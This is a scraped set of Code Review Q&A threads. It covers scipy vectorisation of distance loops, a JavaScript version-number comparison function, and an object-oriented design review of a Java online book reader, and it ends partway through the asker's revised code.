learning applications, there is good library support for it, namely in the <a href=\"https://docs.scipy.org/doc/scipy/reference/spatial.distance.html\" rel=\"nofollow noreferrer\"><code>scipy.spatial.distance</code></a> module of <a href=\"https://www.scipy.org/\" rel=\"nofollow noreferrer\">scipy</a>. You are already using numpy, pandas, and sklearn, so there is a great chance that scipy is also available to you.</p>\n\n<p>Looking at the module's documentation I linked to above, shows two very convenient functions: <a href=\"https://docs.scipy.org/doc/scipy/reference/generated/scipy.spatial.distance.pdist.html\" rel=\"nofollow noreferrer\"><code>pdist</code></a> and <a href=\"https://docs.scipy.org/doc/scipy/reference/generated/scipy.spatial.distance.cdist.html\" rel=\"nofollow noreferrer\"><code>cdist</code></a>. <code>pdist</code> is basically equivalent to what <code>Distancetrain</code> is supposed to do, <code>cdist</code> will become handy when thinking about improvements on <code>Distancetest</code>.</p>\n\n<p>With this function, <code>Distancetrain</code> becomes very easy to implement:</p>\n\n<pre><code>def as_column(series):\n \"\"\"Reshapes a pandas series to a numpy column vector\"\"\"\n return series.to_numpy(copy=False).reshape((-1, 1))\n\n\ndef distances_train(d3, d2, d1):\n # pdist requires the input to have a shape of (n_samples, n_dimensions)\n np_data = np.concatenate((as_column(d3), as_column(d2), as_column(d1)), axis=1)\n # squareform is used to get the full distance matrix from the half triangle I talked about earlier\n return pd.DataFrame(squareform(pdist(np_data, \"sqeuclidean\")))\n</code></pre>\n\n<p>All that reshaping, the concatenation, and the conversion back to a dataframe is basically unnecessary. I only keep them so that the output is compatible with your original code. You can use <code>np.allclose(arr1, arr2)</code> to see for yourself that the results are indeed identical.</p>\n\n<p>The loops that previously had to be executed by the Python interpreter, are now executed in the underlying library implementation. Numerical Python libraries are usually written in C, and therefore (most of the time) much, much faster than plain Python code when it comes to loops.</p>\n\n<p>An informal timing delivered the following results (average over 10 runs):</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>original: 15.3467 s\nnew: 0.0031 s\n</code></pre>\n\n<p>That's almost 5000x faster!</p>\n\n<p>You can rewrite other parts of your code in the same fashion. It just takes some time to get used to think about the problem in terms of larger array and matrix operations. A tried-and-tested approach to get there is to rewrite parts of your code while keeping the old code around to check if the results match. Sometimes they don't, but that shouldn't discourage you from further looking into it. More often than not, the rewritten version can be correct because it's easier and straightforward without convoluted loops and the like.</p>\n\n<p>Maybe also have a look at <a href=\"http://numba.pydata.org/\" rel=\"nofollow noreferrer\">numba</a>, a just-in-time compiler for Python code. This can sometimes speed up loops significantly (see <a href=\"https://codereview.stackexchange.com/a/216399/92478\">here</a> for example). numba does not fully support everything you can do in Python or numpy, so the implementation might need some tweaking to work correctly with it.</p>\n\n<p>Of course profiling is also key in that process and has been mentioned in the comments. Python's built-in <a href=\"https://docs.python.org/3/library/profile.html\" rel=\"nofollow noreferrer\"><code>cProfile</code></a> module is very useful for that purpose. <a href=\"https://docs.python.org/3/library/timeit.html\" rel=\"nofollow noreferrer\"><code>timeit</code></a> can also be used to robustly measure the execution time of smaller pieces of code.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T23:21:21.227",
"Id": "464090",
"Score": "0",
"body": "Great, I get it. I also read Cython last night and wanna try it too."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T10:30:14.340",
"Id": "464131",
"Score": "0",
"body": "Maybe have a look at numba too, before going all the way to cython. I added a short paragraph on that to the answer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T11:22:02.010",
"Id": "464136",
"Score": "0",
"body": "okay, thanks. I'll look it"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T23:12:00.000",
"Id": "236752",
"ParentId": "236646",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236752",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T13:19:45.557",
"Id": "236646",
"Score": "2",
"Tags": [
"python",
"beginner",
"numpy",
"machine-learning"
],
"Title": "Forecasting stock market data using Support Vector Regression"
}
|
236646
|
<p>I have written a function that compares two version number strings (e.g. 1.2.0 and 1.2.2) and return <code>1</code> if the first string is greater, <code>-1</code> if the second string is greater and <code>0</code> if the strings are equal for a code challenge that I'm attempting.</p>
<p>Also, it's guaranteed that both strings contain an equal number of numeric fields and all decimals are non-negative.</p>
<p>So,</p>
<ul>
<li><code>1.2.0</code> and <code>1.2.2</code> should return -1.</li>
<li><code>1.05.4</code> and <code>1.5.3</code> should return 1.</li>
<li><code>1.2.6.76</code> and <code>1.2.06.0076</code> should return 0.</li>
</ul>
<hr />
<p>My logic for the function was to simply split the string at each occurrence of the period <code>.</code>, compare each number and then add a character (<code>e</code> for equal, <code>m</code> for more and <code>l</code> for less) to a temporary variable <code>z</code> depending on the comparison result.</p>
<p>I then simply use some basic regex to return <code>1</code>, <code>-1</code> or <code>0</code> based on the content of the <code>z</code> variable as can be seen in the following Code Snippet:</p>
<p><div class="snippet" data-lang="js" data-hide="true" data-console="true" data-babel="false">
<div class="snippet-code snippet-currently-hidden">
<pre class="snippet-code-js lang-js prettyprint-override"><code>function checkVersion(a,b) {
let x=a.split('.').map(e=> parseInt(e));
let y=b.split('.').map(e=> parseInt(e));
let z = "";
for(i=0;i<x.length;i++) {
if(x[i] === y[i]) {
z+="e";
} else
if(x[i] > y[i]) {
z+="m";
} else {
z+="l";
}
}
if (!z.match(/[l|m]/g)) {
return 0;
} else if (!z.match(/[l]/g)) {
return 1;
} else {
return -1;
}
}
console.log(checkVersion("1.2.2","1.2.0")); // returns 1 as expected
console.log(checkVersion("1.0.5","1.1.0")); // returns -1 as expected
console.log(checkVersion("1.0.5","1.00.05")); // returns 0 as expected
console.log(checkVersion("0.9.9.9.9.9.9","1.0.0.0.0.0.0")) // returns -1 as expected;</code></pre>
</div>
</div>
</p>
<p>The above function seems to be working fine with any random two version numbers that I've tried so far but when I try to submit the above function for the challenge, there is always one hidden test with two unknown version numbers that keeps failing. What logic am I missing in the above code?</p>
<hr />
<h2>EDIT:</h2>
<p>Thanks to @RomanPerekhrest's comment below, I have found out that my regex is the problem. Instead of using the 2nd regex, I just remove any occurence of <code>e</code> from the <code>z</code> variable using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split" rel="nofollow noreferrer">split()</a> method and then just check if the first character is <code>m</code> or <code>l</code> and now the function is working correctly as seen in the following Code Snippet:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>function checkVersion(a,b) {
let x=a.split('.').map(e=> parseInt(e));
let y=b.split('.').map(e=> parseInt(e));
let z = "";
for(i=0;i<x.length;i++) {
if(x[i] === y[i]) {
z+="e";
} else
if(x[i] > y[i]) {
z+="m";
} else {
z+="l";
}
}
if (!z.match(/[l|m]/g)) {
return 0;
} else if (z.split('e').join('')[0] == "m") {
return 1;
} else {
return -1;
}
}
console.log(checkVersion("2.0.5","1.0.15")); // returns 1 as expected
console.log(checkVersion("1.2.2","1.2.0")); // returns 1 as expected
console.log(checkVersion("1.0.5","1.1.0")); // returns -1 as expected
console.log(checkVersion("1.0.5","1.00.05")); // returns 0 as expected
console.log(checkVersion("0.9.9.9.9.9.9","1.0.0.0.0.0.0")) // returns -1 as expected;</code></pre>
</div>
</div>
</p>
<hr />
<p>However, I still feel like there must be a shorter, more concise and cleaner way of doing this though. Any suggestions?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T13:59:24.327",
"Id": "463857",
"Score": "1",
"body": "Check this `console.log(checkVersion(\"2.0.5\",\"1.0.15\"));` - it'll give `-1` while the expected result is `1`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T14:37:24.217",
"Id": "463867",
"Score": "0",
"body": "@RomanPerekhrest Thank you! I have found the flaw to be in the regex and managed to make it work by replacing the 2nd regex with another approach of stripping the `e` from the `z` variable and then checking the first letter. However, I still feel like the above function could be further improved though. Any suggestions?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T14:55:35.893",
"Id": "463872",
"Score": "0",
"body": "You can just compare the numeric parts one by one, left to right until they differ or end is reached (in which case the versions are equal). No need for regular expression obstructions. Anyway you may want to check semver and adjust your algorithm to fit the semantic versioning rules."
}
] |
[
{
"body": "<p>A small review;</p>\n\n<ul>\n<li>Once you know that one version digit is larger than the other, you can exit immediately</li>\n<li>You did not declare <code>i</code> with <code>const</code> or <code>let</code></li>\n<li>I would advise the use of a beautifier for your code, it's a bit compact in some places</li>\n<li>The code does not handle well versions with different counts of digits</li>\n<li>You should always pass the base, when you call parseInt</li>\n</ul>\n\n<p>I wrote an alternative version with 2 extra tests;</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function checkVersion(a, b) {\n const x = a.split('.').map(e => parseInt(e, 10));\n const y = b.split('.').map(e => parseInt(e, 10));\n\n for (const i in x) {\n y[i] = y[i] || 0;\n if (x[i] === y[i]) {\n continue;\n } else if (x[i] > y[i]) {\n return 1;\n } else {\n return -1;\n }\n }\n return y.length > x.length ? -1 : 0;\n}\n\nconsole.log(checkVersion(\"1.2.2\", \"1.2.0\"), 1); // returns 1 as expected\nconsole.log(checkVersion(\"1.0.5\", \"1.1.0\"), -1); // returns -1 as expected\nconsole.log(checkVersion(\"1.0.5\", \"1.00.05\"), 0); // returns 0 as expected\nconsole.log(checkVersion(\"0.9.9.9.9.9.9\", \"1.0.0.0.0.0.0\"), -1) // returns -1 as expected;\nconsole.log(checkVersion(\"1.0.5\", \"1.0\"), 1); // returns 1 as expected\nconsole.log(checkVersion(\"1.0\", \"1.0.5\"), -1); // returns -1 as expected\nconsole.log(checkVersion('2019.09', '2019.9'), 0) // returns 0</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:08:37.030",
"Id": "463896",
"Score": "0",
"body": "@konjin Nice! This looks way more concise than the one I did. But can I know what is the length of `x` and `y` in the ternary operator used for? For example, `1.0.5` and `1.00.05` both have different lengths but are the same value and `1.2.2` and `1.2.0` both have the same length but different values. So what exactly is the length comparison doing here?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:12:35.863",
"Id": "463897",
"Score": "0",
"body": "@AndrewL64 x.length is the number of dot separated numbers in the version string, not the length of the version string. x.length would be 2 for \"1.0\" and \"1.00\" but it would be 3 for \"1.00.05\". It does what is shown in the last test."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:18:10.533",
"Id": "463898",
"Score": "0",
"body": "checkVersion(\"1.0.0\", \"1.0\") === 0 //expected 0\n;\ncheckVersion(\"1.0\", \"1.0.0\") === -1 //expected 0"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:19:35.510",
"Id": "463900",
"Score": "0",
"body": "@slepic The split() method returns an array so the length would give the number of dot seprated numbers without the dot yes. But I'm still a tad bit confused about what the ternary does exactly?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:19:41.893",
"Id": "463901",
"Score": "0",
"body": "Oh wait. I forgot that he is accounting for situations where the two strings might be of different lengths (after splitting them). In my case, the length of the two strings are guaranteed to always be the same so that ternary isn't exactly required for me but yes, there might be situations where strings can be of different lengths too."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:20:24.217",
"Id": "463902",
"Score": "0",
"body": "@slepic Yes, I figured it out after reading your first comment regarding the length referencing the split-up string and not the string itself."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:24:21.280",
"Id": "463903",
"Score": "0",
"body": "@AndrewL64 yes, it handles when lhs version has less numbers than rhs version (the `|| 0` is handling the opposite case). Anyway, if you dont expect different number of numbers in the two version strings, you might want to handle the unexpected case with at least an exception anyway. One might really think of them as uncomparable..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T02:03:33.880",
"Id": "463954",
"Score": "1",
"body": "What about `checkVersion('2019.09', '2019.05')`? The 09 is interpreted as octal number, for historic reasons. You should always add these to the test cases."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T15:14:19.007",
"Id": "236656",
"ParentId": "236647",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236656",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T13:20:45.283",
"Id": "236647",
"Score": "2",
"Tags": [
"javascript",
"algorithm",
"programming-challenge"
],
"Title": "Comparing version numbers with JavaScript"
}
|
236647
|
<p>I have designed and Online Book Reader System. You can find the classes below. I would be appreciated for the valuable reviews. </p>
<p>Assumptions: "Online Book Reader System" is a system includes online books and serve their customers to read books online.
User should be login to reach their accounts.
System can include many users and many books.
Multiple users can access the same book.
User can add any books to their reading list.
After users login to system they can start to read any book they want and also can proceed with the latest page they have resumed.</p>
<p>Especially considering;</p>
<p>Multi-threading /
SOLID principles /
Design patterns</p>
<p>Book.java </p>
<pre><code>package OOPDesign.onlineBookReaderSystem;
import java.util.ArrayList;
public abstract class Book {
long bookId;
String name;
String category;
String author;
int pageCount;
ArrayList<User> readers = new ArrayList<>();
public Book(String name, String category, String author, int pageCount){
this.bookId = name.hashCode();
this.name = name;
this.category = category;
this.author = author;
this.pageCount = pageCount;
}
ArrayList<User> getReaders(){
return readers;
}
}
</code></pre>
<p>BookProgress.java </p>
<pre><code>package OOPDesign.onlineBookReaderSystem;
public class BookProgress {
long userId;
Book book;
int resumedPage;
public BookProgress(Book book, long userId) {
this.book = book;
this.userId = userId;
this.resumedPage = 0;
}
public void setResumedPage(int resumedPage) {
this.resumedPage = resumedPage;
}
public void pageForward(){
resumedPage++;
setResumedPage(resumedPage);
}
public void pageBackward(){
resumedPage--;
setResumedPage(resumedPage);
}
}
</code></pre>
<p>FictionBook.java </p>
<pre><code>package OOPDesign.onlineBookReaderSystem;
public class FictionBook extends Book {
public FictionBook(String name, String category, String author, int pageCount) {
super(name,"Fiction", author, pageCount);
}
}
</code></pre>
<p>Novel.java </p>
<pre><code>package OOPDesign.onlineBookReaderSystem;
public class Novel extends Book {
public Novel(String name, String category, String author, int pageCount) {
super(name, "Novel", author, pageCount);
}
}
</code></pre>
<p>OnlineReaderSystem.java</p>
<pre><code>package OOPDesign.onlineBookReaderSystem;
public class OnlineReaderSystem {
public static void main(String[] args) {
// Create user
User userNes = new User("Nesly", "Nesly","Password");
// Create book
Book bookFiction = new FictionBook("Fiction Book", "Fiction", "James",320);
// User login
userNes.login("Nesly","password");
// Start reading book
userNes.addBook(bookFiction);
userNes.startReading(bookFiction);
userNes.finishReading(bookFiction);
}
}
</code></pre>
<p>User.java</p>
<pre><code>package OOPDesign.onlineBookReaderSystem;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import java.util.Date;
import java.util.HashMap;
import java.util.concurrent.Semaphore;
public class User {
private long userId;
private String name;
private String subcriptionType;
private Date subsciptionDate;
private String login_UserId;
private String login_Password;
private String lastLoginDate;
Semaphore semaphoreReader;
HashMap<Book, BookProgress> userBooks = new HashMap<>();
private String creditCardInfo;
public User(String name, String login_UserId, String login_Password) {
this.userId = name.hashCode();
this.name = name;
this.subcriptionType = "Classic";
this.login_UserId = login_UserId;
this.login_Password = login_Password;
}
public void login(String loginUser, String login_Password){
if(this.login_UserId == login_UserId && this.login_Password == login_Password) {
System.out.println("Welcome " + name);
DateTimeFormatter dtf = DateTimeFormatter.ofPattern("yyyy/MM/dd HH:mm:ss");
LocalDateTime now = LocalDateTime.now();
lastLoginDate = dtf.format(now);
}else {
System.out.println("Unsuccessful login " + name);
}
}
public void addBook(Book book){
userBooks.put(book, new BookProgress(book,userId));
}
public HashMap<Book, BookProgress> getRegisteredBooks(){
return this.userBooks;
}
public int startReading(Book book) throws InterruptedException {
int resumedPage = userBooks.get(book).resumedPage;
BookProgress progress = userBooks.get(book);
for(int i=0;i<50;i++){
progress.pageForward();
}
System.out.println("Started reading");
return resumedPage;
}
public void finishReading(Book book){
BookProgress progress = userBooks.get(book);
System.out.println("Finished reading at "+ progress.resumedPage);
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T18:08:35.950",
"Id": "463915",
"Score": "0",
"body": "You could describe the purpose of the \"book reader\" a little more detailed in the introduction, to get your potential reviewers on track easily. What is in scope, what is out of scope?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T19:31:07.943",
"Id": "464173",
"Score": "0",
"body": "Agreed was going to say the same thing. What exactly is an \"online reader system\", what is it supposed to do and how does a person use it? Personally I have no idea what this thing is just from the phrase \"online reader.\""
}
] |
[
{
"body": "<p>Some basics...</p>\n\n<p><strong>throws</strong></p>\n\n<blockquote>\n<pre><code>public int startReading(Book book) throws InterruptedException\n</code></pre>\n</blockquote>\n\n<p>This exception is never dealt with in main (it's not caught or declared). It also doesn't look like it's thrown anywhere. Don't add unnecessary <code>throws</code>.</p>\n\n<p><strong>unused</strong></p>\n\n<blockquote>\n<pre><code>private Date subsciptionDate;\n</code></pre>\n</blockquote>\n\n<p>This is never used. Unnecessary code creates confusion by making the relevant code harder to find.</p>\n\n<p>Other values are assigned, but the value is never used anywhere:</p>\n\n<blockquote>\n<pre><code>private String lastLoginDate;\n</code></pre>\n</blockquote>\n\n<p><strong>casing</strong></p>\n\n<p>Generally, java variables are <code>camelCase</code>, your mixing styles with <code>snake_case</code> in the same declarations. Consistency really is key, but prefer <code>camelCase</code>:</p>\n\n<blockquote>\n<pre><code>public void login(String loginUser, String login_Password) {\n</code></pre>\n</blockquote>\n\n<p><strong>access modifiers</strong></p>\n\n<p>Java's default access modifier, if you don't supply one, is package private. So, if you declare fields in classes without putting <code>private</code> in front of them, they can be modified by any other class in the same package. If this is really what you want, then fine, but otherwise, add the modifier.</p>\n\n<blockquote>\n<pre><code>long userId;\nBook book;\nint resumedPage;\n</code></pre>\n</blockquote>\n\n<p>Where you're wanting them to be accessible to child classes, then you should be declaring them as <code>protected</code>, however think carefully about whether or not you want child classes to have complete access to the implementation of their parent, do you want them to be able to modify the <code>bookId</code>, or would an accessor make more sense?</p>\n\n<blockquote>\n<pre><code>long bookId;\n</code></pre>\n</blockquote>\n\n<p><strong>final</strong></p>\n\n<p>You're setting most of a lot of your fields in the constructor and then never modifying them. If this is likely to be the end state (you're not expecting the fields to change), then you should declare the fields as final.</p>\n\n<p><strong>Constructor parameters</strong></p>\n\n<p>You don't need to have the same constructor parameters on parent classes as children. If you aren't going to use category, don't pass it into your <code>FictionBook</code> class, you can simply do:</p>\n\n<pre><code>public FictionBook(String name, String author, int pageCount) {\n super(name,\"Fiction\", author, pageCount);\n}\n</code></pre>\n\n<p><strong>Book model</strong> </p>\n\n<p>I'm not sure it makes sense. I think of Novel's as fiction books... you're treating them as distinct types, albeit books.</p>\n\n<p><strong>String comparisons</strong></p>\n\n<p>Usually you'd use <code>.equals</code>, rather than <code>==</code> to compare strings. One does an actual string comparison, the other compares references...</p>\n\n<blockquote>\n<pre><code>if (this.login_UserId == login_UserId && this.login_Password == login_Password)\n</code></pre>\n</blockquote>\n\n<p>I'll stop at this point, because it actually looks like you're creating a user with 'password' and logging in as 'Password' which seems like a bug, or is unsuccessful login your expectation?</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T18:52:20.167",
"Id": "236665",
"ParentId": "236659",
"Score": "5"
}
},
{
"body": "<p><strong>Naming conventions</strong></p>\n\n<pre><code>package OOPDesign.onlineBookReaderSystem;\n</code></pre>\n\n<p>Java has well established <a href=\"https://www.oracle.com/technetwork/java/codeconventions-135099.html\" rel=\"nofollow noreferrer\">naming conventions</a>. Package names should be all lower case. This should thus be <code>oopdesign.onlinebookreadersystem</code>.</p>\n\n<p><strong>Single responsibility</strong></p>\n\n<pre><code>public abstract class Book {\n ...\n ArrayList<User> readers = new ArrayList<>();\n</code></pre>\n\n<p>A book is a data object. It should contain information that is intrinsic to the book. A book should not be responsible for keeping track of it's readers. Especially when you seem to duplicate the book-reader connection in the BookProgress class by having it refer to the book and the user ID. To me the BookProgress class would be sufficient to establish the book-reader connection.</p>\n\n<p>And since the <code>User</code> class is also responsible for keeping track of the books that a user reads, you have all classes referring to each other in a happy little bowl of spaghetti. :) Try drawing the relationships to a UML diagram and you'll see how it is a directed graph instead of a tree.</p>\n\n<p>You should extract the book keeping into a separate <code>ReadingProgressTracker</code> that keeps track what book each user is reading and keep the <code>Book</code> and <code>User</code> as simple data objects. When the book keeping is extracted to it's own class it'll be much easier to add persistence to the progress tracking.</p>\n\n<p>When designing a class hierarchy it helps to literally list the responsibilities of a class to see if you are following single responsibility principle. E.g. in this case \"<em>Book-class is responsible for holding book information <strong>and</strong> the reading progress of the users who are reading the book.</em>\" The \"and\" is a keyword that should ring alarm bells. The difficult trick is to know how to correctly categorize the responsibilities (e.g. not grouping the book reading progress into the \"book information\" category).</p>\n\n<p><strong>Composition vs inheritance</strong></p>\n\n<pre><code>public class FictionBook extends Book {\n</code></pre>\n\n<p>You don't seem to gain any advantage from inheriting book categories from the base class. All you do is hard code a string representation of the category name to the super class. And you lose the ability to add new book categories without changing the code. Thus the book should be a concrete class.</p>\n\n<p><strong>Testing</strong></p>\n\n<pre><code>public class OnlineReaderSystem {\n</code></pre>\n\n<p>This is more of a trial to see if the code runs instead of a \"reading system.\" You should replace this with a set of unit tests.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T17:14:15.223",
"Id": "464159",
"Score": "0",
"body": "\"A book is a data object. It should contain information that is intrinsic to the book. A book should not be responsible for keeping track of it's readers.\" & \"E.g. in this case \"Book-class is responsible for holding book information and the reading progress of the users who are reading the book.\" this phrases look doubtfull to me. If we consider all classes like that it totally removes the composition factor form all factors. I was looking another proven approaches for similar problem. ."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T17:14:21.813",
"Id": "464160",
"Score": "0",
"body": "--- I came across \"https://github.com/careercup/CtCI-6th-Edition/tree/master/Java/Ch%2007.%20Object-Oriented%20Design/Q7_07_Chat_Server\" this link. Similar to my way in User class keeps the list of Private chats and contact list in the User.java class. We can judge the same way by asking \"Should user class should be responsible for keeping chat information ? \"it doesnt make sense"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T07:18:45.150",
"Id": "464222",
"Score": "0",
"body": "Yeah, that example repeats the mistakes you did. Just because someone pushed it to a public Git repo doesn't mean it's golden."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T10:52:14.143",
"Id": "464240",
"Score": "0",
"body": "Someone. This solution belongs to \"Cracking the coding Interview\" book by Gayle Lackman McDowell and it is accepted as Bible in silicon valley. You should consider your evaluations."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T06:58:14.423",
"Id": "236686",
"ParentId": "236659",
"Score": "3"
}
},
{
"body": "<p>I have done some revisions. Thanks</p>\n\n<p>Book.java (New version)\nConverted a concrete class.\nNo more keep \"readers\" information in book class.</p>\n\n<pre><code> package oopdesign.onlineBookReaderSystem;\n\n public class Book {\n\n private long bookId;\n private String name;\n private String category;\n private String author;\n private int pageCount;\n\n public Book(String name, String category, String author, int pageCount){\n this.bookId = name.hashCode();\n this.name = name;\n this.category = category;\n this.author = author;\n this.pageCount = pageCount;\n }\n\n }\n\n /* Old version\n package OOPDesign.onlineBookReaderSystem;\n\n import java.util.ArrayList;\n\n public abstract class Book {\n\n long bookId;\n String name;\n String category;\n String author;\n int pageCount;\n\n ArrayList<User> readers = new ArrayList<>();\n\n public Book(String name, String category, String author, int pageCount){\n this.bookId = name.hashCode();\n this.name = name;\n this.category = category;\n this.author = author;\n this.pageCount = pageCount;\n }\n\n ArrayList<User> getReaders(){\n return readers;\n }\n\n }\n\n */\n</code></pre>\n\n<p>BookProgress.java (New version)\nstartReading & finishReading methods carried to here from User.java class.</p>\n\n<pre><code> package oopdesign.onlineBookReaderSystem;\n\n public class BookProgress {\n\n User user;\n Book book;\n int resumedPage;\n\n public BookProgress(Book book, User user) {\n this.book = book;\n this.user = user;\n this.resumedPage = 0;\n }\n\n public void setResumedPage(int resumedPage) {\n this.resumedPage = resumedPage;\n }\n\n public int getResumedPage() { return resumedPage; }\n\n public void pageForward(){\n resumedPage++;\n setResumedPage(resumedPage);\n }\n\n public void pageBackward(){\n resumedPage--;\n setResumedPage(resumedPage);\n }\n\n public int startReading() {\n\n int resumedPage = this.resumedPage;\n\n for(int i=0;i<50;i++){\n pageForward();\n }\n\n System.out.println(\"Started reading\");\n return resumedPage;\n }\n\n public void finishReading(){\n System.out.println(\"Finished reading at \"+ resumedPage);\n }\n\n }\n\n\n /* Old version\n\n package OOPDesign.onlineBookReaderSystem;\n\n public class BookProgress {\n\n long userId;\n Book book;\n int resumedPage;\n\n public BookProgress(Book book, long userId) {\n this.book = book;\n this.userId = userId;\n this.resumedPage = 0;\n }\n\n public void setResumedPage(int resumedPage) {\n this.resumedPage = resumedPage;\n }\n\n public void pageForward(){\n resumedPage++;\n setResumedPage(resumedPage);\n }\n\n public void pageBackward(){\n resumedPage--;\n setResumedPage(resumedPage);\n }\n }\n */\n</code></pre>\n\n<p>/* Newly added */\nLibrary.java</p>\n\n<pre><code> package oopdesign.onlineBookReaderSystem;\n\n import java.util.ArrayList;\n import java.util.List;\n\n public class Library {\n\n List<Book> library;\n\n public Library(){\n library = new ArrayList<>();\n }\n\n public void addBook(Book book){\n library.add(book);\n }\n\n public List<Book> getBookList(){\n return library;\n }\n\n }\n</code></pre>\n\n<p>OnlineReaderSystem.java (New version) </p>\n\n<pre><code> private Library library;\n private UserManager userConsole;\n private BookProgress progress; \n</code></pre>\n\n<p>connections have been added.</p>\n\n<pre><code> package oopdesign.onlineBookReaderSystem;\n\n import java.util.List;\n\n public class OnlineReaderSystem {\n\n private Library library;\n private UserManager userConsole;\n private BookProgress progress;\n\n public OnlineReaderSystem() {\n userConsole = new UserManager();\n library = new Library();\n }\n\n public static void main(String[] args) {\n\n OnlineReaderSystem onlineReaderSystem = new OnlineReaderSystem();\n\n // Create user\n User userNes = new User(\"Nesly\", \"Nesly\",\"Password\");\n\n onlineReaderSystem.userConsole.addUser(userNes);\n\n List<User> userAllList = onlineReaderSystem.userConsole.getAllUsers();\n\n for(User u: userAllList){\n System.out.println(u.getName());\n }\n\n // Create book\n Book bookFiction = new Book(\"Fiction Book\", \"Fiction\", \"James\",320);\n\n onlineReaderSystem.library.addBook(bookFiction);\n\n // User login\n userNes.login(\"Nesly\",\"password\");\n\n // Start reading book\n onlineReaderSystem.progress = new BookProgress(bookFiction, userNes);\n\n onlineReaderSystem.progress.startReading();\n\n onlineReaderSystem.progress.finishReading();\n\n int page = onlineReaderSystem.progress.getResumedPage();\n\n System.out.println(page);\n }\n\n }\n\n/* Old version\npackage OOPDesign.onlineBookReaderSystem;\n\npublic class OnlineReaderSystem {\n\n public static void main(String[] args) {\n\n // Create user\n User userNes = new User(\"Nesly\", \"Nesly\",\"Password\");\n\n // Create book\n Book bookFiction = new FictionBook(\"Fiction Book\", \"Fiction\", \"James\",320);\n\n // User login\n userNes.login(\"Nesly\",\"password\");\n\n // Start reading book\n userNes.addBook(bookFiction);\n\n userNes.startReading(bookFiction);\n\n userNes.finishReading(bookFiction);\n\n }\n}\n\n*/\n</code></pre>\n\n<p>User.java (New version)\n<code>addBook</code> method removed\n<code>getRegisteredBooks</code> method removed\n<code>startReading</code> method removed\n<code>finishReading</code> method removed</p>\n\n<pre><code> package oopdesign.onlineBookReaderSystem;\n\n import java.time.LocalDateTime;\n import java.time.format.DateTimeFormatter;\n import java.util.Date;\n\n public class User {\n\n private long userId; \n private String name;\n\n private String subcriptionType;\n private Date subsciptionDate;\n\n private String loginUserId;\n private String loginPassword;\n private String lastLoginDate;\n\n private String creditCardInfo;\n\n public User(String name, String loginUserId, String loginPassword) {\n this.userId = name.hashCode();\n this.name = name;\n\n this.subcriptionType = \"Classic\";\n this.loginUserId = loginUserId;\n this.loginPassword = loginPassword;\n }\n\n\n public void login(String loginUser, String login_Password){\n\n if(this.loginUserId.equals(loginUserId) && this.loginPassword.equals(login_Password)) {\n System.out.println(\"Welcome \" + name);\n DateTimeFormatter dtf = DateTimeFormatter.ofPattern(\"yyyy/MM/dd HH:mm:ss\");\n LocalDateTime now = LocalDateTime.now();\n lastLoginDate = dtf.format(now);\n }else {\n System.out.println(\"Unsuccessful login \" + name);\n }\n\n }\n\n\n public String getName() {\n return name;\n }\n\n public String getSubcriptionType() {\n return subcriptionType;\n }\n\n public Date getSubsciptionDate() {\n return subsciptionDate;\n }\n\n }\n/* Old version\nimport java.time.LocalDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.concurrent.Semaphore;\n\npublic class User {\n\n private long userId;\n private String name;\n\n private String subcriptionType;\n private Date subsciptionDate;\n\n private String login_UserId;\n private String login_Password;\n\n private String lastLoginDate;\n\n Semaphore semaphoreReader;\n\n HashMap<Book, BookProgress> userBooks = new HashMap<>();\n\n private String creditCardInfo;\n\n public User(String name, String 